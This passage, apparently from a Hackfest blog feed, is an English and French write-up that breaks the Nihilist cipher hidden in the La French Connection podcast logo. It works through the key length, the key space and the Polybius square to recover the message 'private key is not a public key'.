59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95, which
indicates that the superencryption key is probably not trivially short
(1, 2 or 3 characters).</p>

<h2 id="key-length">Key length</h2>

<p>The first step is to determine the length of the superencryption key,
which will give us the period of the cipher. A cipher will have a period
of 4 if a 4-character key is repeated for the encryption, since every
block of 4 letters will use the same key.</p>

<p>To determine the key length, we will build tables with a number of
columns matching the key length we want to test. For example, if we want
to check whether a 6-character key is possible, we need to build Table 7
with 6 columns and fill it with the encrypted message, in order.</p>

<p>Table 7: Table to test whether a 6-character key is possible.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 78   57   68   96   53   99
 59   25   36   85   98   58
 46   79   86   66   79   45
 33   63   98   28   38   60
 95                      
</code></pre></div></div>

<p>We need to build a table like this for every superencryption key length
we want to test. In our case, between 1 and 25 columns.</p>

<p>For each column of a table, we apply the algorithm below. First to the
tens digit, then to the units digit. If, for a given column, this
algorithm returns false for either the tens or the units digit, it means
no addition is possible for the combinations of numbers in that column.
The superencryption key therefore cannot have the assumed length.</p>

<p>Essentially, we check that the difference between the maximum and
minimum digit is less than 5. If it isn’t, it is impossible for a single
digit (between 1 and 5) to have superencoded the units or tens digit. For
example, if the units digits for a column are 2, 4, 7, 3, 4, the
difference between 7 and 2 is 5. And it is impossible to find two digits
such that $x_1 + y = 7$ and $x_2 + y = 2$ where $1\leq x_i \leq 5$ and
$1\leq y \leq 5$</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array $A \gets$ chiffres des unités ou dizaines

for all 𝑛 ∈ {0, . . . , 𝑎𝑟𝑟𝑎𝑦𝑙𝑒𝑛𝑔𝑡ℎ − 1} do

if 𝐴[𝑖] == 0 then

$A[i] \gets 10$

end if

end for

return max(A) - min(A) \&lt; 5

</code></pre></div></div>

<p>Going back to Table 7, we see that the tens digits for the first column
are 7, 5, 4, 3, 9. There is a difference of 6 between the maximum and
minimum digits, so no 6-character key could have been used.</p>

<p>If we apply this rule to tables of 2 to 25 rows (using a homemade Python
script), we get possible key lengths of 10, 20, 22, 23, 24 or 25. Since
the message is 25 characters long, keys between 20 and 25 characters are
considered possible, because in those cases most columns will contain
only one number. However, they are unlikely, since if the key length is
close to the message length, we would almost have a Vernam cipher
(one-time pad), which would be practically impossible to decode without
knowing the key.</p>

<p>Under these circumstances, the key length is most likely 10.</p>

<h2 id="key-space">Key space</h2>

<p>Once the key length is established, we can try to narrow down the key
space. Indeed, with the Nihilist cipher, not every 10-character key is
possible, only a reduced number of them. To limit the number of possible
keys, we need Table 8, with as many columns as the key length.</p>

<p>Table 8: 10-column table.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 78   57   68   96   53   99   59   25   36   85
 98   58   46   79   86   66   79   45   33   63
 98   28   38   60   95                      
</code></pre></div></div>

<p>For each column of this table, we need to apply the following algorithm,
which will produce the list of numbers possibly used to superencrypt a
column. Once again, this is a direct consequence of using the Polybius
square, which limits the units or tens digit to a number between 1
and 5.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array $col \gets$ une colonne du tableau

$dizaineMin \gets 1$

$dizaineMax \gets 5$

$uniteMin \gets 1$ 

$uniteMax \gets 5$

for all 𝑛 ∈ 𝑐𝑜𝑙 do

$unite \gets n \mod 10$

if $unite == 0$ then

$uniteMin \gets 5$

$uniteMax \gets 5$

else if $unite &lt; 7$ then

$uniteMin \gets 1$

$uniteMax \gets unite - 1$

else

$uniteMin \gets unite - 5$

$uniteMax \gets 5$

end if

array $unitesPossibles \gets \{uniteMin, \dots, uniteMax\}$

$dizaine \gets floor(n/10) \mod 10$

if $dizaine == 0$ then

$dizaineMin \gets 5$

$dizaineMax \gets 5$

else if $dizaine &lt; 7$ then

$dizaineMin \gets 1$

$dizaineMax \gets dizaine - 1$

else

$dizaineMin \gets dizaine - 5$

$dizaineMax \gets 5$

end if

array $dizainesPossibles \gets \{dizaineMin, \dots, dizaineMax\}$

end for

return $combinaisons(dizainesPossibles, unitesPossibles)$

</code></pre></div></div>

<p>If we apply this algorithm to each column of Table 8, we get the
possibilities in Table 9 for each character of the superencryption key.</p>

<p>Table 9: Key space.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Position      Possibilités

    1         43, 44, 45, 53, 54, 55
    2               13, 14, 15
    3         13, 14, 15, 23, 24, 25
    4                   45
    5                 41, 42
    6             44, 45, 54, 55
    7         24, 25, 34, 35, 44, 45
    8             11, 12, 13, 14
    9             11, 12, 21, 22
    10        31, 32, 41, 42, 51, 52
</code></pre></div></div>

<p>Even though all these calculations can be done by hand, a Python script
can be a big help, both in terms of time and of mental health.</p>

<h2 id="numbers">Numbers</h2>

<p>For this cipher, we therefore have a 10-character key, with each
character having 6, 3, 6, 1, 2, 4, 6, 4, 4 and 6 possibilities
respectively. The number of possible combinations is
$6 \times 3 \times 6 \times 1 \times 2 \times 4 \times 6 \times 4 \times 4 \times 6 = 497664$.
Many of these combinations are not words. We could start by excluding
them but, in the end, if the key is random, we have 497664 keys to test.</p>

<p>Furthermore, if we don’t want to have to manually validate every
decryption attempt, we would need to automate the whole thing by
comparing each 4-character block of a decoding attempt against French
and English <a href="https://github.com/torognes/enigma/blob/master/">quadgrams</a>
(we assume the message is in one of those two languages), of which there
are about 400000 each. Note that there are 22 possible 4-character blocks
in a 25-character sequence.</p>

<p>Finally, nothing guarantees that a completely random Polybius square
wasn’t used for the initial substitution. For 26 letters, there are
$26! \approx 4 \times 10^{26}$ possible squares.</p>

<p>We would have approximately
$497644 \times 400000 \times 400000 \times 22 \times 4 \times 10^{26} \approx 7 \times 10^{44}$
tests to run.</p>

<p>That’s a lot of paths to explore, so we need to narrow this search space
even further by making several assumptions.</p>

<h2 id="assumptions">Assumptions</h2>

<p>To start with, we will make the following assumptions:</p>

<ol>
  <li>
    <p>The superencryption key is a word. Probably related to the podcast.</p>
  </li>
  <li>
    <p>The Polybius square used is one of the few best-known squares (with
the letters of the alphabet practically in order).</p>
  </li>
  <li>
    <p>The language used for the key and the original message is either
French or English.</p>
  </li>
  <li>
    <p>The Nihilist algorithm used to encrypt the message was not modified
to make decryption harder.</p>
  </li>
</ol>

<h2 id="finding-the-superencryption-key">Finding the superencryption key</h2>

<p>Armed with these assumptions, we can finally tackle the superencryption
key. We assume that the most common Polybius square, which omits the
letter "J", was used (Table 10). Encoding the message with this square
would imply using the letters in Table 11 to encrypt the key.</p>

<p>Table 10: Polybius square presumably used.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       I       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       X       Y       Z
</code></pre></div></div>

<p>Table 11: Possible letters for the key.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1       2       3       4       5       6       7       8       9      10
 S       C       C       U       Q       T       I       A       A       L
 T       D       D               R       U       K       B       B       M
 U       E       E                       Y       O       C       F       Q
 X               H                       Z       P       D       G       R
 Y               I                               T                       V
 Z               K                               U                       W
</code></pre></div></div>

<p>The 10 most common letters in French words are e, a, i, s, n, r, t, o, l,
u, while in English they are e, t, a, o, i, n, s, h, r, d. For now, let’s
keep only the letters that are most common in both languages. Doing so,
we realize almost immediately, if we have ever played Scrabble or done
word searches, that we almost have the word SECURITÉ or SECURITY
(Table 12). This is most certainly no coincidence.</p>

<p>Table 12: Filtered possible letters.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1       2       3       4       5       6       7       8       9       10
 S               C       U               T       I       A       A       L
 T       D       D               R       U                            
 U       E       E                               O                    
                 H                                       D               R
                 I                               T                    
                                                 U                    
</code></pre></div></div>

<p>A good way to check whether we’re on the right track is to use this
partial superencryption key to decode the message. Using
<a href="https://www.dcode.fr/">dCode</a> greatly speeds up this kind of test, since
it lets you quickly change either the Polybius square or the key. Since
we are missing a few letters in the key to form a word, we will
arbitrarily replace them with the first letter of each column. This gives
us the key <em>SECURTTAAL</em>. Using it together with Table 10 to try to
decrypt the message, we get <em>PRZVAZEDKYZSNOTGPOGMZCKEX</em>.</p>

<p>We notice a short English word and a few common English bigrams in the
partially decoded message:<br />
<strong>PR</strong>Z<strong>VA</strong>ZEDKYZS<strong>NOT</strong>GPOGMZC<strong>KE</strong>X.</p>

<p>This is a big step, since we have identified the language of the
original message. Moreover, there are more "Z"s than there should be in
this message, which suggests there is a problem with the Polybius square
used. Looking at the list of the 10 most common letters in English, we
notice that "I", the fifth most used letter in that language, never
appears, while "Z" appears four times. If we swap the positions of
"I" and "Z" in the Polybius square and try decoding the message
again, we get a partially decoded message with even more words and
partial words <strong>PRIVA</strong>I<strong>E</strong>DKY<strong>ISNOT</strong>GPOGMIC<strong>KE</strong>X.</p>

<p>At this point, it is much easier to try a few other keys than to try to
modify the Polybius square. Trying the keys SECURITEAL and SECURITYAL, we
get:\</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> SECURITEAL: PRIVATE?KYISNOTAP?GMICKEX
 SECURITYAL: PRIVATE?BIUYNNTQC?BHKVMVI?
</code></pre></div></div>

<p>The first key attempt, with the French word, is clearly better, even
though two letters cannot be decoded with the Polybius square used. For
the last two letters of the key, we can either use brute force and test
every possible combination, or remember (thanks to our mini OSINT) that
the podcast’s website is <a href="https://securite.fm/">securite.fm</a>.</p>

<p>With the superencryption key "SECURITEFM", we decode the message
<em>PRIVATE?EXISNOTAP?BLICKEX</em>, which we can guess is
"PRIVATEKEXISNOTAPUBLICKEY". However, the message cannot be fully
decoded with this key. We can easily improve the situation by swapping
the letters "X" and "Y" in the Polybius square to get Table 13.</p>

<p>Table 13: Final Polybius square.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       Z       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       Y       X       I
</code></pre></div></div>

<p>With this key and this Polybius square, two numbers in our initial
sequence cannot be decoded 78 57 68 96 53 99 59 <strong>25</strong>
36 85 98 58 46 79 86 66 79 <strong>45</strong> 33 63 98 28 38 60 95. They correspond
to the letters at positions 8 and 18 of the message. With the current
superencryption key, the number 25 should be 10, since we should subtract
15 (because of the "E"), and the number 45 should be 30, for the same
reason.</p>

<p>But 10 and 30 cannot be obtained with the key and Polybius square we
found. However, the numbers 25 and 45 correspond to the missing letters
"K" and "U". These two letters were simply not superencrypted with
the key! This is either an unintentional mistake or an attempt to make
decrypting the message harder. In the end, everyone will agree with the
secret message: "private key is not a public key".</p>

<h1 id="official-solution">Official solution</h1>

<p>After I validated the secret message with the official authorities of La French Connection, the higher-ups sent me the official solution, which I am passing on to you. One particular point in it may leave us puzzled:</p>

<ol>
  <li>Text to encode: PRIVATEKEYISNOTAPUBLICKEY</li>
  <li>Key character set: ABCDEFGHIJKLMNOPQRSTUVVVXYZ  (w = VV)</li>
  <li>Key: SECURITE.FM</li>
  <li>Encode the answer in hex</li>
</ol>

<p>The whole thing was encoded using an unspecified tool, almost certainly using the Nihilist cipher. The tricky point in this solution is, of course, the period “.” between SECURITE and FM. It appears nowhere among the characters used in the cipher. And yet, the tool used did encrypt the message. This unconventional key probably explains why two letters were not encoded as expected.</p>

<p>This illustrates how hard it is to decrypt a message encoded with an unknown algorithm and unknown tools. You’re never safe from surprises.</p>

<h1 id="references">References</h1>

<ul>
  <li>
    <p><a href="https://www.dcode.fr/chiffre-nihiliste">https://www.dcode.fr/chiffre-nihiliste</a></p>
  </li>
  <li>
    <p><a href="https://gchq.github.io/CyberChef">https://gchq.github.io/CyberChef</a></p>
  </li>
  <li>
    <p><a href="https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/">https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/</a></p>
  </li>
  <li>
    <p><a href="http://www.crypto-it.net/eng/simple/nihilist.html">http://www.crypto-it.net/eng/simple/nihilist.html</a></p>
  </li>
  <li>
    <p><a href="http://www.benburlingham.com/core/articles/nihilist-cipher.html">http://www.benburlingham.com/core/articles/nihilist-cipher.html</a></p>
  </li>
</ul>

<p>(1) This work is subject to the WTFPL license. Visit
    <a href="http://www.wtfpl.net/">http://www.wtfpl.net/</a> for a full copy of this license.</p>

]]></content:encoded>
    </item>
    <item>
      <title>Déchiffrage du message dans le logo du podcast La French Connection</title>
      <link>https://media.hackfest.ca/blog/logo-lfc-cracked</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/logo-lfc-cracked</guid>
      <pubDate>Wed, 13 Dec 2023 08:00:00 +0000</pubDate>
      <dc:creator>Minkowski</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Cryptographie &amp; énigmes</category>
      <category>La French Connection</category>
      <category>podcast</category>
      <category>chiffrement</category>
      <description>Depuis ses débuts, le logo du podcast La French Connection arbore un message chiffré. Bien des gens ont rêvé de percer le mystère de ce chiffre. Avis à ceux qui ne veulent pas briser la magie, ne lisez point une ligne de plus car ce texte dévoile les secrets et le message derrière ce logo.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/logo-360x360.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<h1 id="résumé">Résumé</h1>
<p>Depuis ses débuts, le logo du podcast <em>La French Connection</em> arbore un
message chiffré. Bien des gens ont rêvé de percer le mystère de ce
chiffre. Avis à ceux qui ne veulent pas briser la magie, ne lisez
point une ligne de plus car ce texte dévoile les secrets et le message
derrière ce logo. (1)</p>

<h1 id="analyse">Analyse</h1>

<p>Les amateurs du podcast <em>La French Connection</em> ont remarqué depuis
longtemps que le logo du dit podcast présente, en son bas, une
mystérieuse inscription qui recèle sans aucun doute un message secret
(Figure 1).</p>

<h2 id="le-message-chiffré">Le message chiffré</h2>

<p>Le mystérieux chiffre est composé de 25 nombres hexadécimaux. Il est
souvent plus facile de convertir les nombres hexadécimaux en nombre
décimaux. <a href="https://gchq.github.io/CyberChef/">CyberChef</a> se charge très
bien de ce genre de besogne (Table 1).</p>

<p><img src="https://media.hackfest.ca/images/posts/logo-360x360.webp" alt="Logo du podcast La French Connection." /></p>

<p>Figure 1 : Logo du podcast La French Connection.</p>

<p>Table 1 : Mystérieux chiffre.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 4E 39 44 60 35 63 3B 19 24 55 62 3A 2E 4F 56 42 4F 2D 21 3F 62 1C 26 3C 5F
 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95
</code></pre></div></div>

<h2 id="fréquences">Fréquences</h2>

<p>Puisque nous mettons déjà à profit CyberChef, aussi bien en profiter
pour faire une analyse en fréquence. La Figure 2 montre le résultat de cette
analyse. On constate que sur 25 nombres, seulement deux sont répétés (4F
et 62). En même temps, la séquence n’est pas aléatoire puisque les
valeurs ne sont pas réparties uniformément sur la plage des 256 nombres
possibles (de 00 à FF).</p>

<p><img src="https://media.hackfest.ca/images/posts/frequency.webp" alt="Analyse de la fréquence des nombres." /></p>

<p>Figure 2 : Analyse de la fréquence des nombres.</p>

<p>Ces résultats nous permettent d’exclure un chiffrement moderne ou une
fonction de hachage qui produirait des données plus uniformes. De plus,
on n’a pas non plus affaire à un simple chiffre de substitution
puisqu’il y a peu de répétitions. Le message chiffré étant très court,
il est difficile de faire une analyse statistique plus poussée ou
d’utiliser la force brute sans avoir identifié la méthode de
chiffrement.</p>

<p>En regardant plus attentivement les nombres décimaux, on remarque
qu’aucun ne se termine par 1, 2 ou 4. De plus, les chiffres des unités
ne sont pas répartis uniformément, tel qu’illustré à la Table 2. La répartition
du chiffre des dizaines est un peu plus uniforme, mais on note l’absence
de tout chiffre plus petit que 20 (Table 3).</p>

<p>Table 2 : Répartition du chiffre des unités.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Unité       %
   0         4       
   3        12
   5        16
   6        20
   7         4
   8        28
   9        16
</code></pre></div></div>

<p>Table 3 : Répartition du chiffre des dizaines.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Dizaine       %
    2          8
    3         12
    4          8
    5         16
    6         16
    7         12
    8          8
    9         20
</code></pre></div></div>

<h1 id="à-la-recherche-du-chiffre-perdu">À la recherche du chiffre perdu</h1>

<p>Avec les quelques informations obtenues, il est possible d’explorer
plusieurs pistes pour tenter d’identifier le chiffrement utilisé. Les
nombres du chiffre ont très certainement été créés à l’aide de règles
mathématiques simples qui leurs confèrent les caractéristiques
observées. Un bon endroit pour débuter la recherche pour identifier le
chiffre est <a href="https://www.dcode.fr/">dCode</a>. Ce site une ressource
précieuse pour en apprendre plus sur les codes et le chiffrement. Il
offre non seulement des descriptions très détaillées de plusieurs
dizaines de chiffremements classiques, mais aussi des outils pour
encoder, décoder et briser certains d’entre eux.</p>

<h2 id="polybe">Polybe</h2>

<p>Nous avons probablement affaire à un chiffre de substitution ou de
transposition qui inclu des éléments additionnels pour rendre le
déchiffrage plus difficile. La méthode la plus amusante pour identifier
le chiffrement utilisé est de passer de longues heures à explorer les
différents chiffres classiques, à lire leurs descriptions et à chiffrer
et déchiffrer différents messages. C’est aussi la méthode demandant le
plus de temps. Si vous l’utilisez, vous finirez probablement par tomber
sur le chiffre de Polybe qui utilise le carré de Polybe, une grille de
5x5 associant chacune des lettres de l’alphabet à un nombre entre 11 et</p>
<ol>
  <li>La Table 4 montre un carré possible. Comme il y a 26 lettres à l’alphabet,
il faut en sacrifier une. Dans ce cas-ci on sacrifie le Z mais le J, V
ou W sont aussi fréquemment rejetés.</li>
</ol>

<p>Table 4 : Carré de Polybe.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           1       2       3       4       5
 1         A       B       C       D       E
 2         F       G       H       I       J
 3         K       L       M       N       O
 4         P       Q       R       S       T
 5         U       V       W       X       Y
</code></pre></div></div>

<p>Pour chiffrer un message à l’aide d’un carré de Polybe, il suffit de
trouver la lettre dans le tableau et de la remplacer par le nombre formé
par le numéro de ligne suivit par le numéro de colonne. Par exemple, la
lettre Q sera remplacée par le nombre 42.</p>

<h2 id="polybe-sur-les-stéroïdes">Polybe sur les stéroïdes</h2>

<p>Afin de rendre la tâche plus difficile aux curieux, il est possible
d’utiliser une clé pour changer l’ordre des lettres de la grille. Le mot
utilisé doit avoir des lettres distinctes. On écrit les lettres de ce
mot secret au haut de la grille et on continue avec les lettres
restantes. Par exemple, avec la clé HACK on aurait le carré présenté en Table 5.</p>

<p>Table 5: Carré de Polybe avec la clé HACK.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5  
 1       H       A       C       K       B
 2       D       E       F       G       I
 3       J       L       M       N       O
 4       P       Q       R       S       T
 5       U       V       W       X       Y
</code></pre></div></div>

<p>Le chiffre de Polybe présente une régularité dans les nombres utilisés,
ce qui le rend facilement identifiable puisque seuls les nombre 11, 12,
13, 14, 15, 21, 22, 23, 24, 25, 31, 32, 33, 34, 35, 41, 42, 43, 44, 45,
51, 52, 53, 54, 55 sont utilisables.</p>

<h2 id="polybe-ou-pas-polybe-là-est-la-question">Polybe ou pas Polybe? Là est la question!</h2>

<p>Bien que le chiffre de Polybe présente des similitudes avec les
caractéristiques de notre message, les nombres possibles ne
correspondent pas. Nous avons donc affaire à un autre chiffre ou à une
variation du chiffre de Polybe avec une grille différente.</p>

<p>En s’éduquant un peu plus sur le chiffre de Polybe, on constate qu’il
est souvent associé au chiffre des Nihilistes qui est un surchiffrement
du carré de Polybe. On peut reconnaitre le chiffre des Nihilistes grâce
aux indices suivants:</p>

<ul>
  <li>
    <p>Contient uniquement des nombres entre 22 et 110.</p>
  </li>
  <li>
    <p>Ne contient aucun des nombres suivants:<br />
21, 31, 41, 51, 61, 71, 81, 91, 101.</p>
  </li>
  <li>
    <p>Le chiffre est associé à une quelconque référence à la Russie.</p>
  </li>
</ul>

<h2 id="mini-osint">Mini OSINT</h2>

<p>Les deux premières caractéristiques correspondent parfaitement au
message secret au bas du logo, mais une mention quelconque de la Russie
dans un épisode confirmerait le tout. Un peu de Google Fu ceinture
blanche (<em>logo site:securite.fm</em>) nous révèle qu’on mentionne le message
encodé dans le logo à l’épisode 0x017 (aux environs de la minute 40),
tel qu’illustré à la Figure 3. Lors de cet épisode Damien, toujours gourmand,
nous donne un indice: "Poutine"... À moins qu’il fasse référence à un
autre type de "Putin", beaucoup moins digeste.</p>

<p><img src="https://media.hackfest.ca/images/posts/googlefu.webp" alt="L'épisode 0x017 mentionne le mystère du logo." /></p>

<p>Figure 3 : L’épisode 0x017 mentionne le mystère du logo.</p>

<h1 id="chiffre-des-nihilistes">Chiffre des Nihilistes</h1>

<p>Rendu célèbre par son utilisation par les nihilistes russes du 19ième
siècle. Ce chiffre est simple à mémoriser et permet de transmettre un
message de plusieurs façons. Par exemple, les prisonniers russes
transmettaient des messages de ce type en cognant sur les murs de leurs
cellules un nombre de fois qui correspondait à la rangée puis à la
colonne de chaque lettre.</p>

<h2 id="fonctionnement">Fonctionnement</h2>

<p>Le fonctionnement du chiffre des Nihilistes est simple:</p>

<ol>
  <li>
    <p>On choisit un carré de Polybe, avec les lettres potentiellement dans
le désordre grâce à une clé convenue d’avance. Par exemple, le carré
de la Table 5.</p>
  </li>
  <li>
    <p>On encode le message avec la grille. Chaque lettre se voit attribuée
un chiffre correspondant à une ligne et une colonne. Le message
"MESSAGESECRET" deviendrait par exemple: 33 22 44 44 12 24 22 44
22 13 43 22 45.</p>
  </li>
  <li>
    <p>On choisit une clé de surchiffrement et on l’encode avec le carré de
Polybe. Si on choisit "PLANET" comme clé, on aura 41 32 12 34
22 45.</p>
  </li>
  <li>
    <p>On réécrit la clé encodée autant de fois que nécessaire sous le
message encodé et on additionne les deux nombres comme dans la Table 6.</p>
  </li>
</ol>

<p>Table 6 : Surchiffrement.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   M    E    S    S    A    G    E    S    E    C    R    E    T
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
   33   22   44   44   12   24   22   44   22   13   43   22   45
   41   32   12   34   22   45   41   32   12   34   22   45   41
   74   54   56   78   34   69   63   76   34   47   65   67   86
</code></pre></div></div>

<p>On obtient alors un chiffrement par substitution auquel on additionne
une clé de façon répétée. Au final, on aura un chiffrement
polyalphabétique fractionné puisque deux lettres identiques peuvent être
encodées de façon différente selon leur position dans le message.</p>

<h2 id="vulnérabilités">Vulnérabilités</h2>

<p>Le chiffre des Nihilistes comporte de multiples vulnérabilités dont
celles ci-dessous:</p>

<ul>
  <li>
    <p>La clé de surchiffrement est répétée. Quand le message chiffré est
plus long que cette clé, on peut observer des similitudes entre les
blocs de texte de même longueur que la clé.</p>
  </li>
  <li>
    <p>Il y a un nombre limité de combinaisons pour les additions. Par
exemple, le chiffre 80 ne peut être obtenu qu’avec les additions
$25+55$ ou $35+45$.</p>
  </li>
  <li>
    <p>Plus les nombres sont grands ou petits, plus les possibilités sont
limitées. Par exemple, 22 ou 110 ne peuvent être obtenus que si la
lettre encodée est la même que celle de la clé de surchiffrement et
que cette lettre est soit dans le coin supérieur gauche ou le coin
inférieur droit de la grille, respectivement.</p>
  </li>
  <li>
    <p>Un nombre ayant un 0 à la position des unités indique que les
nombres additionnés proviennent de la dernière colonne.</p>
  </li>
  <li>
    <p>Similairement, un nombre ayant un 2 à la position des unités
provient d’une addition de nombres de la première colonne.</p>
  </li>
  <li>
    <p>Une fois la longueur de la clé identifiée et un espace de clé
réduit, on peut trouver la clé (si c’est un mot), par déduction ou
avec un dictionnaire.</p>
  </li>
  <li>
    <p>Une fois la clé de surchiffrement trouvée, le problème se réduit à
un simple chiffre de substitution, un chiffre de Polybe.</p>
  </li>
</ul>

<p>La cryptanalyse du chiffre des Nihilistes sera grandement facilitée si
le message codé est long et/ou si on possède un autre message décodé qui
aurait été chiffré avec la même grille et la même clé de surchiffrement.
Malheureusement, dans le cas présent, on n’a aucun de ces deux éléments
facilitateurs.</p>

<h1 id="déchiffrement">Déchiffrement</h1>

<p>Il y a très peu de répétitions dans le message codé, 78 57 68 96 53 99
59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95, ce qui indique
que la clé de surchiffrement n’est probablement par trivialement courte
(1, 2 ou 3 caractères).</p>

<h2 id="longueur-de-la-clé">Longueur de la clé</h2>

<p>La première étape est de déterminer la longueur de la clé de
surchiffrement ce qui nous donnera la période du chiffre. Un chiffre
aura une période de 4 si une clé de 4 caractères est répétée pour le
chiffrement puisque chaque bloc de 4 lettres utilisera la même clé.</p>

<p>Pour déterminer la longueur de la clé, on va créer des tableaux avec un
nombre de colonnes correspondant à la longueur de clé que l’on désir
tester. Par exemple, si on veut vérifier si une clé de 6 caractères est
possible, on doit créer la Table 7 de 6 colonnes et y placer le message chiffré
dans l’ordre.</p>

<p>Table 7 : Tableau pour tester si une clé de 6 caractères est possible.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 78   57   68   96   53   99
 59   25   36   85   98   58
 46   79   86   66   79   45
 33   63   98   28   38   60
 95                      
</code></pre></div></div>

<p>On doit créer un tableau de ce genre pour toutes les longueurs de clés
de surchiffrement qu’on veut tester. Dans notre cas, entre 1 et 25
colonnes.</p>

<p>Pour chaque colonne d’un tableau, on applique l’algorithme ci-dessous.
D’abord au chiffre des dizaines, puis au chiffre des unités. Si pour une
colonne, cet algorithme retourne faux soit pour le chiffre des dizaines
ou des unités, c’est qu’aucune addition n’est possible pour les
combinaisons de nombres dans la colonne. La clé de surchiffrement ne
peut donc avoir la longueur supposée.</p>

<p>Essentiellement, on vérifie que la différence entre le chiffre maximum
et minimum est plus petite que 5. Si ce n’est pas le cas, c’est
impossible qu’un même chiffre (entre 1 et 5) ait pu surencoder le
chiffre des unités ou dizaines. Par exemple, si les chiffres des unités
pour une colonne sont 2, 4, 7, 3, 4, la différence entre 7 et 2 est de</p>
<ol>
  <li>Or il est impossible de trouver deux chiffres tels que $x_1 + y = 7$
et $x_2 + y = 2$ où $1\leq x_i \leq 5$ et $1\leq y \leq 5$</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array $A \gets$ chiffres des unités ou dizaines

for all 𝑛 ∈ {0, . . . , 𝑎𝑟𝑟𝑎𝑦𝑙𝑒𝑛𝑔𝑡ℎ − 1} do

if 𝐴[𝑖] == 0 then

$A[i] \gets 10$

end if

end for

return max(A) - min(A) \&lt; 5

</code></pre></div></div>

<p>Si on revient à la Table 7, on constate que les chiffres des dizaines pour la
première colonne sont 7, 5, 4, 3, 9. On a une différence de 6 entre les
chiffres maximum et minimum, donc aucune clé de 6 caractères n’aurait pu
être utilisée.</p>

<p>Si on applique cette règle pour des tableaux de 2 à 25 rangées (à l’aide
d’un script Python maison), on obtient des longueurs de clés possibles
de 10, 20, 22, 23, 24 ou 25. Comme le message a 25 caractères, les clés
de longueur entre 20 et 25 sont considérées comme possibles puisque dans
ces cas la majorité des colonnes ne contiendront qu’un nombre. Par
contre, elles sont peu probables puisque si la longueur de la clé est
près de la longueur du message, on aura presque un chiffre de Vernam
(one-time pad) ce qui serait pratiquement impossible à décoder sans
connaitre la clé.</p>

<p>Dans ces circonstances, la longueur de la clé est fort probablement de
10.</p>

<h2 id="espace-de-clé">Espace de clé</h2>

<p>Une fois la longueur de la clé établie, on peut tenter de réduire
l’espace de clé. En effet, avec le chiffre des Nihilistes, ce ne sont
pas toutes les clés de 10 caractères qui sont possibles, mais seulement
un nombre réduit de celles-ci. Pour limiter le nombre de clés possibles
on a besoin de la Table 8 avec autant de colonnes que la longueur de la clé.</p>

<p>Table 8 : Tableau de 10 colonnes.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 78   57   68   96   53   99   59   25   36   85
 98   58   46   79   86   66   79   45   33   63
 98   28   38   60   95                      
</code></pre></div></div>

<p>Pour chacune des colonnes de ce tableau, on doit appliquer l’algorithme
suivant qui produira la liste des nombres possiblement utilisés pour
surchiffrer une colonne. Encore une fois, c’est une conséquence directe
de l’utilisation du carré de Polybe qui limite le nombre des unité ou
dizaines à un chiffre entre 1 et 5.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array $col \gets$ une colonne du tableau

$dizaineMin \gets 1$

$dizaineMax \gets 5$

$uniteMin \gets 1$ 

$uniteMax \gets 5$

for all 𝑛 ∈ 𝑐𝑜𝑙 do

$unite \gets n \mod 10$

if $unite == 0$ then

$uniteMin \gets 5$

$uniteMax \gets 5$

else if $unite &lt; 7$ then

$uniteMin \gets 1$

$uniteMax \gets unite - 1$

else

$uniteMin \gets unite - 5$

$uniteMax \gets 5$

end if

array $unitesPossibles \gets \{uniteMin, \dots, uniteMax\}$

$dizaine \gets floor(n/10) \mod 10$

if $dizaine == 0$ then

$dizaineMin \gets 5$

$dizaineMax \gets 5$

else if $dizaine &lt; 7$ then

$dizaineMin \gets 1$

$dizaineMax \gets dizaine - 1$

else

$dizaineMin \gets dizaine - 5$

$dizaineMax \gets 5$

end if

array $dizainesPossibles \gets \{dizaineMin, \dots, dizaineMax\}$

end for

return $combinaisons(dizainesPossibles, unitesPossibles)$

</code></pre></div></div>

<p>Si on applique cet algorithme à chaque colonne de la Table 8 , on obtient les
possibilités de la Table 9 pour chacun des caractères de la clé de
surchiffrement.</p>

<p>Table 9  : Espace de clé.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Position      Possibilités

